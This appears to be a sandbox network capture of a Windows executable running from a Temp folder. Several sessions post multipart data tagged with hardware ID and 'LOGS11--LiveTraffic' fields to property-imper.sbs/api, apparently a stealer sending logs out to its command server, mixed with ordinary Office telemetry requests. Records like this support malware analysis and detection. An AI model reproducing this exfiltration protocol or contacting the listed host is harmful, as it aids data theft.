110	192.168.2.4	49870	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:47 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HCK6V27S11IO0UW7T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20598 Host: property-imper.sbs
2024-11-23 17:22:47 UTC	15331	OUT	Data Raw: 2d 2d 48 43 4b 36 56 32 37 53 31 31 49 4f 30 55 57 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 43 4b 36 56 32 37 53 31 31 49 4f 30 55 57 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 43 4b 36 56 32 37 53 31 31 49 4f 30 55 57 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --HCK6V27S11IO0UW7TContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--HCK6V27S11IO0UW7TContent-Disposition: form-data; name="pid"1--HCK6V27S11IO0UW7TContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 17:22:47 UTC	5267	OUT	Data Raw: f8 78 c0 26 e4 0e 3d 84 b7 1f 6a 54 97 f3 92 d4 d5 53 11 4b dd 1c 50 c5 6c fe 2a 15 15 63 76 1e 8c 02 c1 6e 90 b2 96 86 e3 a0 76 5e 17 37 8b a3 41 15 79 a7 f0 f2 0b ef 66 ea 47 0d 02 60 cb 2e de 89 1b 11 cb 52 d5 d7 14 82 d4 cc 11 9d da 69 e8 d3 cc 3c 17 df 4d d3 e1 02 4b 56 ab 12 7e 3c d0 ae 7f db 0a d1 44 fa f6 46 00 f0 ac 76 1e 29 7c fa 59 c9 2e 1a 5f f5 46 0f e3 d8 5a 50 cd f4 eb c6 f9 2e dc 3b cf 6e 7d 3f e2 1a ab 27 f4 e2 d8 90 22 e0 c9 03 57 b7 fb 61 93 7a 77 ae e5 62 04 6b 5b 81 7f 6b 5b 47 58 b9 56 94 67 7f ec 2c b0 b3 ff 7c 37 79 c5 3f 70 99 b0 ae a3 a3 e8 ee d6 35 22 b4 a6 92 74 50 8d a3 47 7c 38 50 2a c6 33 6f d4 ef 64 8a 91 7d 62 ec 47 7f 6d 24 71 f4 dd 25 35 fd 81 8e 1d 9d ca c8 5e 5f 6a 12 29 f5 92 cc 9e 3e ad ad fc 67 8f 75 47 d4 4a e4 9e Data Ascii: x&=jTSKPlcvnv^7AyfG`.Ri<MKV~<DFv)\|Y._FZP.;n}?'"Wazwbk[k[GXVg,\|7y?p5"tPG\|8P3od}bGm$q%5^_j)>guGJ
2024-11-23 17:22:48 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iskanf5d2tf8pd7f3d4ojl8c3i; expires=Wed, 19-Mar-2025 11:09:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5uiQBjCKsBFIb3D4FnNnnoUu9a96Fq%2BylvCic34EkoFf5CTphBnPqvic7JpuOckEmtNzwEuzDCNbFWEP5Qp33v2dKentJvgdLHYj3Xec%2ByRGvl6jV3DI1ZHlNNzVa0QtYy9iMGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7e79e01180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1494&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21561&delivery_rate=1751649&cwnd=201&unsent_bytes=0&cid=f199f02f96c7e986&ts=1056&x=0"
2024-11-23 17:22:48 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49872	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:47 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0X3XAOCD58H8U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8760 Host: property-imper.sbs
2024-11-23 17:22:47 UTC	8760	OUT	Data Raw: 2d 2d 30 58 33 58 41 4f 43 44 35 38 48 38 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 30 58 33 58 41 4f 43 44 35 38 48 38 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 58 33 58 41 4f 43 44 35 38 48 38 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 58 33 58 41 Data Ascii: --0X3XAOCD58H8UContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--0X3XAOCD58H8UContent-Disposition: form-data; name="pid"2--0X3XAOCD58H8UContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0X3XA
2024-11-23 17:22:48 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qs0s64h2d5mvuo7ntvrgmv9hjo; expires=Wed, 19-Mar-2025 11:09:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L1p%2F97csGkTj7ivzaV4bYZYpwQ8ECbEFoeN%2FvoC9cLIxcqAH7wkE6dCRoFHJ8VIW7CCn3VNAeoG%2BcW6whNUCgskKNUjwImWf6EtDMhn2Uh8b4bWEYec5fpdtMaok1vKgpS3Lhig%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7e93b7dc481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1511&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9696&delivery_rate=1901041&cwnd=234&unsent_bytes=0&cid=8120ed9d8934ef27&ts=1169&x=0"
2024-11-23 17:22:48 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:48 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 161730be-201e-0051-3520-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172248Z-178bfbc474bnwsh4hC1NYC2ubs00000004yg000000000hzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:49 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172249Z-178bfbc474bpnd5vhC1NYC4vr400000004sg000000009ca3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:49 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:49 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172249Z-15b8b599d88hr8sfhC1TEBbca4000000035g000000006feg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:49 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:49 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:49 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172249Z-174c587ffdf7t49mhC1TEB4qbg000000031g00000000q99w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:49 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:49 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:50 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172249Z-178bfbc474btrnf9hC1NYCb80g00000004x000000000bhxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:50 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49886	172.67.162.84	443	5236	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 17:22:50 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=E56F2C9EE69FFD48D7CBBD6DF28D3732
2024-11-23 17:22:50 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qn7bu71jcl7m3srm3ugb3ftdf2; expires=Wed, 19-Mar-2025 11:09:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vm3L0lm2B380DGssgfDpoDyw3dnoIW7gcaRkUp6tYKuh5V2dYVuiF2ri3HR7x%2BEnDQhnZRpKSTDFf%2BzJqIULZf2Og6WZ4SBlLWODdZdPxUvlgLExU2U0JdbG2b35aN2mdQde9MY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7f8ac6f7d14-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1906&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1520041&cwnd=242&unsent_bytes=0&cid=07f0f2b76d229694&ts=773&x=0"
2024-11-23 17:22:50 UTC	214	IN	Data Raw: 64 30 0d 0a 77 50 34 7a 47 42 2b 4a 2b 35 4a 4e 6f 30 43 33 34 68 66 77 6e 31 6f 63 71 51 7a 64 4f 4c 62 52 4f 45 32 57 79 52 73 6a 37 64 36 62 68 52 46 74 50 62 50 5a 2b 6a 6e 58 4d 49 32 2b 4f 4b 79 77 61 79 53 63 49 75 38 4a 67 2f 38 4a 66 4b 58 6e 4b 68 57 78 38 61 2b 59 56 55 51 77 37 5a 37 30 59 38 59 34 30 73 41 37 30 76 6b 75 50 70 4d 38 38 52 72 54 38 77 4a 38 36 2b 56 67 41 5a 6a 38 2b 74 78 62 62 47 76 35 77 63 35 69 2f 32 2b 47 32 69 4c 65 72 57 73 70 68 7a 33 73 43 35 6a 67 44 68 47 35 75 6d 39 47 6a 4c 4f 63 30 55 46 35 63 65 32 55 2f 32 50 47 4f 4e 4c 41 4f 39 4c 35 4c 6a 36 54 50 50 45 61 30 2f 4d 43 66 65 75 55 0d 0a Data Ascii: d0wP4zGB+J+5JNo0C34hfwn1ocqQzdOLbROE2WyRsj7d6bhRFtPbPZ+jnXMI2+OKywayScIu8Jg/8JfKXnKhWx8a+YVUQw7Z70Y8Y40sA70vkuPpM88RrT8wJ86+VgAZj8+txbbGv5wc5i/2+G2iLerWsphz3sC5jgDhG5um9GjLOc0UF5ce2U/2PGONLAO9L5Lj6TPPEa0/MCfeuU
2024-11-23 17:22:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49888	172.67.162.84	443	4428	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:50 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7VJO2FRKO7RDFQVQ0DR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20449 Host: property-imper.sbs
2024-11-23 17:22:50 UTC	15331	OUT	Data Raw: 2d 2d 37 56 4a 4f 32 46 52 4b 4f 37 52 44 46 51 56 51 30 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 37 56 4a 4f 32 46 52 4b 4f 37 52 44 46 51 56 51 30 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 56 4a 4f 32 46 52 4b 4f 37 52 44 46 51 56 51 30 44 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --7VJO2FRKO7RDFQVQ0DRContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--7VJO2FRKO7RDFQVQ0DRContent-Disposition: form-data; name="pid"3--7VJO2FRKO7RDFQVQ0DRContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-23 17:22:50 UTC	5118	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~
